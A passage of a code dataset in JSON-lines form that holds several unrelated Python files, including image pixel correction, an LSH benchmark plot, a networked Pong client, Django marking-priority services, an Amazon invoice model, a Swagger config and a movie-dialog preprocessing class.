= []\r\n index_j = []\r\n for i in range(len(image)):\r\n for j in range(len(image[0])):\r\n if(image[i,j] == value):\r\n index_i.append(i)\r\n index_j.append(j)\r\n return index_i,index_j\r\n\r\n\r\ndef correction_hpixels(image):\r\n image = convolution(image,cfg.kernel_hc,cfg.div_hc,cfg.bias_hc)\r\n return image\r\n\r\ndef correction_cpixels(image):\r\n image = convolution(image,-cfg.kernel_hc,cfg.div_hc,cfg.bias_hc)\r\n return image\r\n\r\ndef correction_hc(stack_FF, stack_RAW):\r\n # Apply the filter to find the masks (matrices of 0's and 1's) for hot and cold pixels for every RAW image and every mask is saved in an array (one array for hot pixels and one array for cold pixels)\r\n stack_RAW_mask_hot, stack_RAW_mask_cold = np.array([correction_hpixels(j) for j in stack_RAW]), np.array([correction_cpixels(j) for j in stack_RAW])\r\n # The final mask is the product of all the mask in the mask array (mask_1 AND mask_2 AND ...).\r\n mask_hot, mask_cold = productory(stack_RAW_mask_hot), productory(stack_RAW_mask_cold)\r\n\r\n # Find the positions in the mask where there is a 1 (find the place where there is a hot or cold pixel)\r\n index_mask_hot_i, index_mask_hot_j = value_in_image(mask_hot,1.0)\r\n index_mask_cold_i, index_mask_cold_j= value_in_image(mask_cold,1.0)\r\n\r\n # The value of the hot or cold pixel is replaced by the mean value of the image \r\n for j in stack_RAW:\r\n j[index_mask_hot_i, index_mask_hot_j] = np.mean(j)\r\n j[index_mask_cold_i, index_mask_cold_j] = np.mean(j)\r\n\r\n for j in stack_FF:\r\n j[index_mask_hot_i, index_mask_hot_j] = np.mean(j)\r\n j[index_mask_cold_i, index_mask_cold_j] = np.mean(j)\r\n \r\n return stack_FF, stack_RAW\r\n\r\n\r\ndef correction_zeros(stack_FF,stack_RAW):\r\n\r\n for j in stack_FF:\r\n index_i,index_j = value_in_image(j,0.0)\r\n j[index_i, index_j] = np.mean(j)\r\n\r\n for j in stack_RAW:\r\n index_i,index_j = value_in_image(j,0.0)\r\n j[index_i, index_j] = np.mean(j)\r\n\r\n return stack_FF, stack_RAW\r\n\r\n \r\n ","repo_name":"Spoksonat/correction_images_Gerardo","sub_path":"hcpixels.py","file_name":"hcpixels.py","file_ext":"py","file_size_in_byte":3463,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"73030795573","text":"import json, sys, argparse\nimport numpy as np\nimport matplotlib\nmatplotlib.use(\"Agg\")\nimport matplotlib.pyplot as plt\nfrom average_precision import mapk \n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser()\n parser.add_argument(\"benchmark_output\")\n args = parser.parse_args(sys.argv[1:])\n\n with open(args.benchmark_output) as f:\n benchmark = json.load(f) \n\n num_perms = benchmark[\"num_perms\"]\n lsh_times = benchmark[\"lsh_times\"]\n linearscan_times = benchmark[\"linearscan_times\"]\n ground_truth_results = [[x[0] for x in r] for r in benchmark[\"ground_truth_results\"]]\n k = 10\n lsh_maps = []\n for results in benchmark[\"lsh_results\"]:\n query_results = [[x[0] for x in r] for r in results]\n lsh_maps.append(mapk(ground_truth_results, query_results, k))\n linearscan_maps = []\n for results in benchmark[\"linearscan_results\"]:\n query_results = [[x[0] for x in r] for r in results]\n linearscan_maps.append(mapk(ground_truth_results, query_results, k))\n\n lsh_times = np.array([np.percentile(ts, 90) \n for ts in lsh_times])*1000\n linearscan_times = np.array([np.percentile(ts, 90) \n for ts in linearscan_times])*1000\n\n fig, axes = plt.subplots(1, 2, figsize=(5*2, 4.5), sharex=True)\n # Plot query average MAP vs. num perm\n axes[0].plot(num_perms, linearscan_maps, marker=\"+\", label=\"Linearscan\")\n axes[0].plot(num_perms, lsh_maps, marker=\"+\", label=\"LSH Forest\")\n axes[0].set_ylabel(\"MAP (k = %d)\" % k)\n axes[0].set_xlabel(\"# of Permmutation Functions\")\n axes[0].grid()\n # Plot query time vs. num perm\n axes[1].plot(num_perms, linearscan_times, marker=\"+\", label=\"Linearscan\")\n axes[1].plot(num_perms, lsh_times, marker=\"+\", label=\"LSH Forest\")\n axes[1].set_xlabel(\"# of Permutation Functions\")\n axes[1].set_ylabel(\"90 Percentile Query Time (ms)\")\n axes[1].grid()\n axes[1].legend(loc=\"center right\")\n fig.savefig(\"lshforest_benchmark.png\", pad_inches=0.05, bbox_inches=\"tight\")\n","repo_name":"LiuFang816/SALSTM_py_data","sub_path":"python/ekzhu_datasketch/datasketch-master/benchmark/lshforest_benchmark_plot.py","file_name":"lshforest_benchmark_plot.py","file_ext":"py","file_size_in_byte":2017,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"21"} +{"seq_id":"39896261954","text":"import socket\nimport threading\nimport os\nimport re\nfrom getmac import get_mac_address\nimport pygame\nfrom pong4 import *\nimport tkinter as tk\nfrom tkinter import messagebox\n\nIP = socket.gethostbyname(socket.gethostname())\n# IP = '192.168.117.23'\nPORT = 53531\nADDR = (IP, PORT)\nSIZE = 1024\nFORMAT = \"utf-8\"\nDISCONNECT_MESSAGE = \"DISCONNECT!\"\n\n\nclient = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\nplayer = 0\nplayer_pos = {\n 1: \"Left\",\n 2: \"Right\",\n 3: \"Top\",\n 4: \"Bottom\"\n}\n\ndef game_entry():\n def register():\n # try:\n mac = get_mac_entry()\n # except ValueError as e:\n # print(f\"Registration Failed: {e}\")\n # messagebox.showerror(\"Registration Failed\", e)\n # return \n client.send(f\"REGISTER/{mac};\".encode(FORMAT))\n msg = client.recv(SIZE).decode(FORMAT)\n if msg == \"OK\":\n print(f\"Registered MAC Address: {mac}\")\n messagebox.showinfo(\"Registration Successful\", f\"Registered MAC Address: {mac}\")\n else:\n print(f\"Registration Failed: {msg}\")\n messagebox.showerror(\"Registration Failed\", f\"Registration Failed: {msg}\")\n \n def login():\n try:\n mac = get_mac_entry()\n except ValueError as e:\n print(f\"Login Failed: {e}\")\n messagebox.showerror(\"Login Failed\", e)\n return\n client.send(f\"LOGIN/{mac};\".encode(FORMAT))\n print(f\"Sent LOGIN/{mac};\")\n msg = client.recv(SIZE).decode(FORMAT)\n if msg == \"OK\":\n print(f\"Logged in with MAC Address: {mac}\")\n start_tk.destroy()\n else:\n print(f\"Login Failed: {msg}\")\n messagebox.showerror(\"Login Failed\", f\"Login Failed: {msg}\")\n \n def pay():\n try:\n mac = get_mac_entry()\n amount = get_amount_entry()\n except ValueError as e:\n print(f\"Payment Failed: {e}\")\n messagebox.showerror(\"Payment Failed\", e)\n return \n client.send(f\"PAY/{mac}/{amount};\".encode(FORMAT))\n msg = client.recv(SIZE).decode(FORMAT)\n if msg == \"OK\":\n print(f\"Paid {amount} for MAC Address: {mac}\")\n messagebox.showinfo(\"Payment Successful\", f\"Paid {amount} for MAC Address: {mac}\")\n else:\n print(f\"Payment Failed: {msg}\")\n messagebox.showerror(\"Payment Failed\", f\"Payment Failed: {msg}\")\n \n def balance():\n try:\n mac = get_mac_entry()\n except ValueError as e:\n print(f\"Balance Check Failed: {e}\")\n messagebox.showerror(\"Balance Check Failed\", e)\n return\n client.send(f\"BALANCE/{mac};\".encode(FORMAT))\n msg = client.recv(SIZE).decode(FORMAT)\n if \"OK\" in msg:\n _, time_left = msg.split(\"/\")\n print(f\"Time left for MAC Address: {mac} is {time_left} sec\")\n messagebox.showinfo(\"Balance Check Successful\", f\"Time left for MAC Address: {mac} is {time_left} sec\")\n else:\n print(f\"Balance Check Failed: {msg}\")\n messagebox.showerror(\"Balance Check Failed\", f\"Balance Check Failed: {msg}\")\n\n def get_mac_entry():\n mac = mac_entry.get()\n # regex for mac\n mac_regex = r\"^([0-9A-Fa-f]{2}[:-]){5}([0-9A-Fa-f]{2})$\"\n if re.match(mac_regex, mac):\n return mac.replace(\"-\", \":\")\n else:\n raise ValueError(f\"Invalid MAC Address: {mac}\")\n \n def get_amount_entry():\n amount = amount_entry.get()\n # regex for amount\n amount_regex = r\"^[1-9]\\d*$\"\n if re.match(amount_regex, amount):\n return amount\n else:\n raise ValueError(f\"Invalid Amount: {amount}\")\n\n def end_tk():\n start_tk.destroy()\n disconnect(client)\n \n\n start_tk = tk.Tk()\n start_tk.title(\"Game Registration/Login\")\n\n # Create a label and entry widget for MAC Address\n mac_label = tk.Label(start_tk, text=\"MAC Address:\")\n mac_label.grid(row=0, column=0)\n mac_entry = tk.Entry(start_tk)\n mac_entry.grid(row=0, column=1)\n\n mac_entry.insert(0, get_mac_address())\n # mac_entry.config(state=\"readonly\")\n\n # Create a label and entry widget for payment amount\n amount_label = tk.Label(start_tk, text=\"Amount (100/min):\")\n amount_label.grid(row=2, column=0)\n amount_entry = tk.Entry(start_tk)\n amount_entry.grid(row=2, column=1)\n\n amount_entry.insert(0, \"100\")\n\n # Create Pay button\n pay_button = tk.Button(start_tk, text=\"Pay\", command=pay)\n balance_button = tk.Button(start_tk, text=\"Check Balance\", command=balance)\n\n # Create Register and Login buttons\n register_button = tk.Button(start_tk, text=\"Register\", command=register)\n login_button = tk.Button(start_tk, text=\"Login\", command=login)\n\n register_button.grid(row=1, column=0, columnspan=2)\n balance_button.grid(row=3, column=0)\n pay_button.grid(row=3, column=1)\n login_button.grid(row=4, column=0, columnspan=2)\n\n start_tk.protocol(\"WM_DELETE_WINDOW\", end_tk)\n\n start_tk.mainloop()\n\n \n\ndef disconnect(conn):\n conn.send(DISCONNECT_MESSAGE.encode(FORMAT))\n print(f\"[DISCONNECTED] Disconnected from {ADDR}\")\n conn.close()\n\ndef update_game_state(conn):\n global player,player_pos, gs\n while True:\n conn.send(\"GET;\".encode(FORMAT))\n msg = conn.recv(SIZE).decode(FORMAT)\n msg = msg.split(\"}\")[0] + \"}\"\n gs.from_json(msg)\n\n\n if gs.paused and abs(gs.winner) != player:\n screen.blit(\n font.render(\"Waiting for game to start...\", True, WHITE), \n (gs.W//2-150,gs.H//2)\n )\n if gs.winner < 0:\n screen.blit(\n font.render(\"Other player timeout\", True, WHITE), \n (gs.W//2-110,gs.H//2-50)\n )\n pygame.display.flip()\n continue\n\n\n\n screen.fill(BLACK)\n\n tag_pos = 50 if gs.FourPlayers else 5\n screen.blit(\n font.render(f\"{pl[player]} Player\", True, WHITE), \n (gs.W//2-65,tag_pos)\n )\n\n drawscore(screen, font, gs.H, gs.FourPlayers, gs)\n drawtimer(screen, font, gs.H, gs.FourPlayers, gs)\n drawball(screen, gs.bx, gs.by, gs.bw)\n\n drawpaddle(screen,\n gs.p1x, gs.p1y, \n gs.paddle_width_v, gs.paddle_height_v, \n py1_Color\n ) \n drawpaddle(screen,\n gs.p2x, gs.p2y, \n gs.paddle_width_v, gs.paddle_height_v, \n py2_Color\n )\n\n if gs.FourPlayers:\n drawpaddle(screen,\n gs.p3x, gs.p3y, \n gs.paddle_width_h, gs.paddle_height_h, \n py3_Color\n )\n drawpaddle(screen,\n gs.p4x, gs.p4y, \n gs.paddle_width_h, gs.paddle_height_h, \n py4_Color\n )\n \n pygame.display.flip()\n\n if gs.winner != 0:\n screen.blit(\n font.render(f\"{pl[gs.winner]} Player Wins!\", True, WHITE), \n (gs.W//2-100,gs.H//2)\n )\n winner_msg = \"\"\n winner_msg_offset = 0 \n if gs.winner == -5:\n winner_msg = \"Players Disconnected\"\n winner_msg_offset = 120\n elif gs.winner == -player:\n winner_msg = \"Time Out\"\n winner_msg_offset = 50\n elif gs.winner < 0:\n continue\n elif gs.winner == player:\n winner_msg = \"You Win!\"\n winner_msg_offset = 50\n else:\n winner_msg = \"You Lose!\"\n winner_msg_offset = 50\n screen.blit(\n font.render(winner_msg, True, WHITE), \n (gs.W//2-winner_msg_offset,gs.H//2-50)\n )\n pygame.display.flip()\n break\n disconnect(conn)\n\n\n\n\ndef main():\n global player\n client.connect(ADDR)\n print(f\"[CONNECTED] Connected to {ADDR}\")\n game_entry()\n\n while True:\n msg = client.recv(SIZE).decode(FORMAT)\n player = int(msg)\n print(f\"[PLAYER] Player {player}\")\n\n screen.fill(BLACK)\n pygame.display.flip()\n if player == -1:\n print(\"[SERVER] Server full.\")\n screen.blit(\n font.render(\"Server full.. Wait...\", True, WHITE), \n (gs.W//2-80,gs.H//2)\n )\n pygame.display.flip()\n else:\n break\n\n \n game_thread = threading.Thread(target=update_game_state, args=(client,))\n game_thread.start()\n \n connected = True\n while connected:\n key_map = {\n pygame.K_w: \"up\",\n pygame.K_s: \"down\",\n pygame.K_UP: \"up\",\n pygame.K_DOWN: \"down\",\n pygame.K_a: \"left\",\n pygame.K_d: \"right\",\n pygame.K_LEFT: \"left\",\n pygame.K_RIGHT: \"right\"\n }\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n connected = False\n # pygame.quit()\n disconnect(client)\n break\n if event.type == pygame.KEYDOWN:\n if event.key in key_map:\n msg = f\"KEYDOWN:{key_map[event.key]};\"\n client.send(msg.encode(FORMAT))\n if event.type == pygame.KEYUP:\n if event.key in key_map:\n msg = f\"KEYUP:{key_map[event.key]};\"\n client.send(msg.encode(FORMAT))\n client.close()\n\nif __name__ == \"__main__\":\n try:\n main()\n except KeyboardInterrupt:\n disconnect(client)\n finally:\n pygame.quit()\n os._exit(0)","repo_name":"msrisujan/CN-Lab","sub_path":"Lab8/client.py","file_name":"client.py","file_ext":"py","file_size_in_byte":9827,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"7996178642","text":"import random\nfrom typing import Optional, Dict, List\n\nfrom django.db import transaction\nfrom django.db.models import QuerySet\n\nfrom Papers.models import Paper\nfrom Papers.services import SpecificationService\nfrom ..models import MarkingTask, MarkingTaskPriority\n\n\n@transaction.atomic\ndef get_mark_priority_strategy() -> MarkingTaskPriority.StrategyChoices:\n \"\"\"Return the current priority strategy for marking tasks.\"\"\"\n return MarkingTaskPriority.load().strategy\n\n\n@transaction.atomic\ndef is_priority_modified() -> bool:\n \"\"\"Return the priority's modified property.\"\"\"\n return MarkingTaskPriority.load().modified\n\n\n@transaction.atomic\ndef get_tasks_to_update_priority() -> QuerySet[MarkingTask]:\n \"\"\"Get all the relevant marking tasks for updating priority.\n\n When the priority strategy is changed, all tasks that have\n TO_DO status are updated, and all tasks with other statuses -\n OUT_OF_DATE, OUT, COMPLETE - keep their old priority values.\n \"\"\"\n tasks = MarkingTask.objects.filter(status=MarkingTask.TO_DO)\n return tasks.select_related(\"paper\")\n\n\n@transaction.atomic\ndef set_marking_priority_strategy(strategy: MarkingTaskPriority.StrategyChoices):\n \"\"\"Set the current priority strategy; as a side-effect, set the modified status to False.\"\"\"\n assert strategy in MarkingTaskPriority.StrategyChoices, \"Invalid priority value.\"\n\n priority = MarkingTaskPriority.load()\n priority.strategy = strategy\n priority.modified = False\n priority.save()\n\n\n@transaction.atomic\ndef set_marking_piority_shuffle():\n \"\"\"Set the priority to shuffle: every marking task gets a random priority value.\"\"\"\n tasks = get_tasks_to_update_priority()\n for task in tasks:\n task.marking_priority = random.randint(0, 1000)\n MarkingTask.objects.bulk_update(tasks, [\"marking_priority\"])\n set_marking_priority_strategy(MarkingTaskPriority.SHUFFLE)\n\n\n@transaction.atomic\ndef set_marking_priority_paper_number():\n \"\"\"Set the priority to paper number: every marking task gets a priority value of n_papers - paper_number.\"\"\"\n n_papers = Paper.objects.count()\n tasks = get_tasks_to_update_priority()\n for task in tasks:\n task.marking_priority = n_papers - task.paper.paper_number\n MarkingTask.objects.bulk_update(tasks, [\"marking_priority\"])\n set_marking_priority_strategy(MarkingTaskPriority.PAPER_NUMBER)\n\n\n@transaction.atomic\ndef set_marking_priority_custom(custom_order: Dict[tuple[int, int], int]):\n \"\"\"Set the priority to a custom ordering.\n\n Args:\n custom_order: dict with tuple keys representing (paper_number, question_number)\n and values representing the task's custom priority. If a task is not included\n in custom_order, it remains the same. If the key is valid, but the corresponding\n task doesn't exist, the entry is ignored.\n \"\"\"\n n_papers = Paper.objects.count()\n n_questions = SpecificationService.get_n_questions()\n\n assert isinstance(\n custom_order, dict\n ), \"`custom_order` must be of type Dict[tuple[int, int], int].\"\n\n tasks = get_tasks_to_update_priority()\n tasks_to_update = []\n for k, v in custom_order.items():\n paper_number, question_number = k\n if tasks.filter(\n paper__paper_number=paper_number,\n question_number=question_number,\n ).exists():\n task_to_update = tasks.get(\n paper__paper_number=paper_number, question_number=question_number\n )\n task_to_update.marking_priority = v\n tasks_to_update.append(task_to_update)\n MarkingTask.objects.bulk_update(tasks_to_update, [\"marking_priority\"])\n set_marking_priority_strategy(MarkingTaskPriority.CUSTOM)\n\n\n@transaction.atomic\ndef modify_task_priority(task: MarkingTask, new_priority: int):\n \"\"\"Modify the priority of a single marking task.\n\n If successful, set MarkingTaskPriority.modified to true.\n \"\"\"\n task.marking_priority = new_priority\n task.save()\n priority_setting = MarkingTaskPriority.load()\n priority_setting.modified = True\n priority_setting.save()\n","repo_name":"plomgrading/plom","sub_path":"plom_server/Mark/services/marking_priority.py","file_name":"marking_priority.py","file_ext":"py","file_size_in_byte":4109,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"21"} +{"seq_id":"33901182613","text":"from typing import TYPE_CHECKING, Any, Dict, List, Type, TypeVar, Union\n\nimport attr\n\nfrom ..types import UNSET, Unset\n\nif TYPE_CHECKING:\n from ..models.allowance_details import AllowanceDetails\n from ..models.charge_details import ChargeDetails\n from ..models.credit_note_details import CreditNoteDetails\n from ..models.item_quantity import ItemQuantity\n from ..models.money import Money\n from ..models.tax_details import TaxDetails\n\n\nT = TypeVar(\"T\", bound=\"InvoiceItem\")\n\n\n@attr.s(auto_attribs=True)\nclass InvoiceItem:\n r\"\"\"Details of the item being invoiced.\n\n Attributes:\n item_sequence_number (int): Unique number related to this line item.\n invoiced_quantity (ItemQuantity): Details of quantity.\n net_cost (Money): An amount of money, including units in the form of currency.\n amazon_product_identifier (Union[Unset, str]): Amazon Standard Identification Number (ASIN) of an item.\n vendor_product_identifier (Union[Unset, str]): The vendor selected product identifier of the item. Should be the\n same as was provided in the purchase order.\n purchase_order_number (Union[Unset, str]): The Amazon purchase order number for this invoiced line item.\n Formatting Notes: 8-character alpha-numeric code. This value is mandatory only when invoiceType is Invoice, and\n is not required when invoiceType is CreditNote.\n hsn_code (Union[Unset, str]): HSN Tax code. The HSN number cannot contain alphabets.\n credit_note_details (Union[Unset, CreditNoteDetails]): References required in order to process a credit note.\n This information is required only if InvoiceType is CreditNote.\n tax_details (Union[Unset, List['TaxDetails']]): Individual tax details per line item.\n charge_details (Union[Unset, List['ChargeDetails']]): Individual charge details per line item.\n allowance_details (Union[Unset, List['AllowanceDetails']]): Individual allowance details per line item.\n \"\"\"\n\n item_sequence_number: int\n invoiced_quantity: \"ItemQuantity\"\n net_cost: \"Money\"\n amazon_product_identifier: Union[Unset, str] = UNSET\n vendor_product_identifier: Union[Unset, str] = UNSET\n purchase_order_number: Union[Unset, str] = UNSET\n hsn_code: Union[Unset, str] = UNSET\n credit_note_details: Union[Unset, \"CreditNoteDetails\"] = UNSET\n tax_details: Union[Unset, List[\"TaxDetails\"]] = UNSET\n charge_details: Union[Unset, List[\"ChargeDetails\"]] = UNSET\n allowance_details: Union[Unset, List[\"AllowanceDetails\"]] = UNSET\n additional_properties: Dict[str, Any] = attr.ib(init=False, factory=dict)\n\n def to_dict(self) -> Dict[str, Any]:\n item_sequence_number = self.item_sequence_number\n invoiced_quantity = self.invoiced_quantity.to_dict()\n\n net_cost = self.net_cost.to_dict()\n\n amazon_product_identifier = self.amazon_product_identifier\n vendor_product_identifier = self.vendor_product_identifier\n purchase_order_number = self.purchase_order_number\n hsn_code = self.hsn_code\n credit_note_details: Union[Unset, Dict[str, Any]] = UNSET\n if not isinstance(self.credit_note_details, Unset):\n credit_note_details = self.credit_note_details.to_dict()\n\n tax_details: Union[Unset, List[Dict[str, Any]]] = UNSET\n if not isinstance(self.tax_details, Unset):\n tax_details = []\n for tax_details_item_data in self.tax_details:\n tax_details_item = tax_details_item_data.to_dict()\n\n tax_details.append(tax_details_item)\n\n charge_details: Union[Unset, List[Dict[str, Any]]] = UNSET\n if not isinstance(self.charge_details, Unset):\n charge_details = []\n for charge_details_item_data in self.charge_details:\n charge_details_item = charge_details_item_data.to_dict()\n\n charge_details.append(charge_details_item)\n\n allowance_details: Union[Unset, List[Dict[str, Any]]] = UNSET\n if not isinstance(self.allowance_details, Unset):\n allowance_details = []\n for allowance_details_item_data in self.allowance_details:\n allowance_details_item = allowance_details_item_data.to_dict()\n\n allowance_details.append(allowance_details_item)\n\n field_dict: Dict[str, Any] = {}\n field_dict.update(self.additional_properties)\n field_dict.update(\n {\n \"itemSequenceNumber\": item_sequence_number,\n \"invoicedQuantity\": invoiced_quantity,\n \"netCost\": net_cost,\n }\n )\n if amazon_product_identifier is not UNSET:\n field_dict[\"amazonProductIdentifier\"] = amazon_product_identifier\n if vendor_product_identifier is not UNSET:\n field_dict[\"vendorProductIdentifier\"] = vendor_product_identifier\n if purchase_order_number is not UNSET:\n field_dict[\"purchaseOrderNumber\"] = purchase_order_number\n if hsn_code is not UNSET:\n field_dict[\"hsnCode\"] = hsn_code\n if credit_note_details is not UNSET:\n field_dict[\"creditNoteDetails\"] = credit_note_details\n if tax_details is not UNSET:\n field_dict[\"taxDetails\"] = tax_details\n if charge_details is not UNSET:\n field_dict[\"chargeDetails\"] = charge_details\n if allowance_details is not UNSET:\n field_dict[\"allowanceDetails\"] = allowance_details\n\n return field_dict\n\n @classmethod\n def from_dict(cls: Type[T], src_dict: Dict[str, Any]) -> T:\n from ..models.allowance_details import AllowanceDetails\n from ..models.charge_details import ChargeDetails\n from ..models.credit_note_details import CreditNoteDetails\n from ..models.item_quantity import ItemQuantity\n from ..models.money import Money\n from ..models.tax_details import TaxDetails\n\n d = src_dict.copy()\n item_sequence_number = d.pop(\"itemSequenceNumber\")\n\n invoiced_quantity = ItemQuantity.from_dict(d.pop(\"invoicedQuantity\"))\n\n net_cost = Money.from_dict(d.pop(\"netCost\"))\n\n amazon_product_identifier = d.pop(\"amazonProductIdentifier\", UNSET)\n\n vendor_product_identifier = d.pop(\"vendorProductIdentifier\", UNSET)\n\n purchase_order_number = d.pop(\"purchaseOrderNumber\", UNSET)\n\n hsn_code = d.pop(\"hsnCode\", UNSET)\n\n _credit_note_details = d.pop(\"creditNoteDetails\", UNSET)\n credit_note_details: Union[Unset, CreditNoteDetails]\n if isinstance(_credit_note_details, Unset):\n credit_note_details = UNSET\n else:\n credit_note_details = CreditNoteDetails.from_dict(_credit_note_details)\n\n tax_details = []\n _tax_details = d.pop(\"taxDetails\", UNSET)\n for tax_details_item_data in _tax_details or []:\n tax_details_item = TaxDetails.from_dict(tax_details_item_data)\n\n tax_details.append(tax_details_item)\n\n charge_details = []\n _charge_details = d.pop(\"chargeDetails\", UNSET)\n for charge_details_item_data in _charge_details or []:\n charge_details_item = ChargeDetails.from_dict(charge_details_item_data)\n\n charge_details.append(charge_details_item)\n\n allowance_details = []\n _allowance_details = d.pop(\"allowanceDetails\", UNSET)\n for allowance_details_item_data in _allowance_details or []:\n allowance_details_item = AllowanceDetails.from_dict(allowance_details_item_data)\n\n allowance_details.append(allowance_details_item)\n\n result = cls(\n item_sequence_number=item_sequence_number,\n invoiced_quantity=invoiced_quantity,\n net_cost=net_cost,\n amazon_product_identifier=amazon_product_identifier,\n vendor_product_identifier=vendor_product_identifier,\n purchase_order_number=purchase_order_number,\n hsn_code=hsn_code,\n credit_note_details=credit_note_details,\n tax_details=tax_details,\n charge_details=charge_details,\n allowance_details=allowance_details,\n )\n\n result.additional_properties = d\n return result\n\n @property\n def additional_keys(self) -> List[str]:\n return list(self.additional_properties.keys())\n\n def __getitem__(self, key: str) -> Any:\n return self.additional_properties[key]\n\n def __setitem__(self, key: str, value: Any) -> None:\n self.additional_properties[key] = value\n\n def __delitem__(self, key: str) -> None:\n del self.additional_properties[key]\n\n def __contains__(self, key: str) -> bool:\n return key in self.additional_properties\n","repo_name":"milyord/sp-api","sub_path":"sp/vendor_invoices/models/invoice_item.py","file_name":"invoice_item.py","file_ext":"py","file_size_in_byte":8752,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"36201708356","text":"from flask import abort, make_response, jsonify\nfrom flasgger import Swagger\n\nSWAGGER_TEMPLATE = {\n 'info': {\n 'title': 'Digital Marketplace API'\n },\n 'securityDefinitions': {'basicAuth': {'type': 'basic'}}\n}\n\nSWAGGER_CONFIG = {\n 'headers': [\n ],\n 'specs': [\n {\n 'endpoint': 'apispec_1',\n 'route': '/api/apispec_1.json',\n 'rule_filter': lambda rule: True, # all in\n 'model_filter': lambda tag: True, # all in\n }\n ],\n 'static_url_path': '/api/flasgger_static',\n 'swagger_ui': True,\n 'specs_route': '/api/apidocs/'\n}\n\n\ndef validation_error_handler(err, data, schema):\n error = str(err)\n if '\\n' in error:\n error = error.split('\\n')[0]\n\n abort(make_response(jsonify(message=error), 400))\n\n\nswag = Swagger(config=SWAGGER_CONFIG, template=SWAGGER_TEMPLATE, validation_error_handler=validation_error_handler)\n","repo_name":"shanec1802/orams","sub_path":"backend/app/swagger.py","file_name":"swagger.py","file_ext":"py","file_size_in_byte":916,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"73039265653","text":"from __future__ import print_function, unicode_literals\nimport os\nimport itertools\nfrom collections import Counter\nfrom io import open\nimport spacy\nimport tqdm\nimport string\nimport re\n\n\n# nlp = spacy.load(\"en\")\n\nclass CornellMovieDialogs(object):\n def __init__(self, data_directory, vocabulary_size=20000):\n self.data_directory = data_directory\n self.vocabulary_size = vocabulary_size\n self.PAD = \"PAD\"\n self.START = \"START\"\n self.UNK = \"UNK\"\n self.END = \"END\"\n self.cleaned_directory = os.path.join(data_directory, \"cleaned\")\n self.vocabulary_path = os.path.join(self.cleaned_directory, \"vocabulary.txt\")\n self.statements_path = os.path.join(self.cleaned_directory, \"statements.txt\")\n self.responses_path = os.path.join(self.cleaned_directory, \"responses.txt\")\n \n def make_conversations(self):\n\n if not os.path.exists(self.cleaned_directory):\n os.makedirs(self.cleaned_directory)\n\n #\n # Load lines\n\n movie_lines_path = os.path.join(self.data_directory, \"movie_lines.txt\")\n lines = dict()\n with open(movie_lines_path, \"r\", encoding=\"iso-8859-1\") as f:\n for line in tqdm.tqdm(f, total=304713):\n id, _, _, _, text = line.split(\" +++$+++ \")\n lines[id] = self.clean(text.encode(\"ascii\", \"ignore\"))\n \n #\n # Load conversations\n\n conversations = list()\n movie_conversations_path = os.path.join(self.data_directory, \"movie_conversations.txt\")\n with open(movie_conversations_path, \"r\", encoding=\"iso-8859-1\") as f:\n for line in f:\n _, _, _, ids = line.split(\" +++$+++ \")\n ids = ids[2:-3].split(\"', '\")\n conversations += [lines[id] for id in ids]\n \n tokens = list(itertools.chain.from_iterable(map(str, nlp(unicode(line))) for line in tqdm.tqdm(conversations, desc=\"building vocabulary\") ))\n \n print (\"{0} tokens, {1} unique\".format(len(tokens), len(set(tokens))))\n \n init_vocabulary = [self.PAD, self.START, self.UNK, self.END]\n vocabulary = init_vocabulary + [word for word, count in Counter(tokens).most_common(self.vocabulary_size - len(init_vocabulary))]\n self.vocabulary = vocabulary\n self.inverse_vocabulary = dict((word, i) for i, word in enumerate(self.vocabulary))\n\n with open(self.vocabulary_path, \"w\") as vocabulary_file:\n for word in self.vocabulary:\n print (unicode(word), file=vocabulary_file)\n\n \n # conversations = [self.encode_sequence(sentence) for sentence in tqdm.tqdm(conversations, desc=\"encoding sequences\")]\n even, odd = conversations[0::2], conversations[1::2]\n \n statements = even + odd \n responses = odd + even\n\n #\n # Save conversations\n\n \n with open(self.statements_path, \"w\") as statements_file, open(self.responses_path, \"w\") as responses_file:\n for s, r in zip(statements, responses):\n if len(s) < 2 or len(r) < 2:\n continue\n print (unicode(s), file=statements_file)\n print (unicode(r), file=responses_file) \n \n def encode_sequence(self, sentence):\n unk_id = self.inverse_vocabulary[self.UNK]\n start_id = self.inverse_vocabulary[self.START]\n end_id = self.inverse_vocabulary[self.END]\n return tuple([start_id]) + tuple([self.inverse_vocabulary.get(word, unk_id) for word in sentence.split(\" \")]) + tuple([end_id])\n \n def decode_sequence(self, ids):\n return [self.vocabulary[id] for id in ids]\n\n def clean(self, s):\n MATCH_MULTIPLE_SPACES = re.compile(r\"\\s{2,}\")\n MATCH_TAGS = re.compile(r\"\")\n\n s = s.lower().replace(\"\\n\", \"\")\n s = MATCH_TAGS.sub(\" \", s)\n\n for i in range(10):\n s = s.replace(unicode(i), \" \" + unicode(i) + \" \")\n\n s = MATCH_MULTIPLE_SPACES.sub(\" \", s).strip()\n # take first line\n # sents = nltk.sent_tokenize(s)\n try:\n sents = list(each for each in nlp(unicode(s)).sents)\n s = str(sents[0]).strip() if len(sents) > 0 else s\n s = \" \".join(map(str, nlp(unicode(s))))\n except IndexError:\n # print (s)\n pass\n return s\n\n\n\n def load(self):\n\n #\n # Load vocabulary\n\n with open(self.vocabulary_path, \"r\") as vocabulary_file:\n self.vocabulary = vocabulary_file.read().strip().split(\"\\n\")\n\n self.inverse_vocabulary = dict((word, i) for i, word in enumerate(self.vocabulary))\n \n def data_generator(self):\n while True:\n with open(self.statements_path, \"r\") as statements_file, open(self.responses_path, \"r\") as responses_file:\n for s, r in zip(statements_file, responses_file):\n yield (s, r)\n","repo_name":"LiuFang816/SALSTM_py_data","sub_path":"python/saurabhmathur96_Neural-Chatbot/Neural-Chatbot-master/datasets.py","file_name":"datasets.py","file_ext":"py","file_size_in_byte":4936,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"21"} +{"seq_id":"16640940354","text":"# Cedric Kong\r\n# CSE 475\r\n# 4/30/2020\r\n# Convert 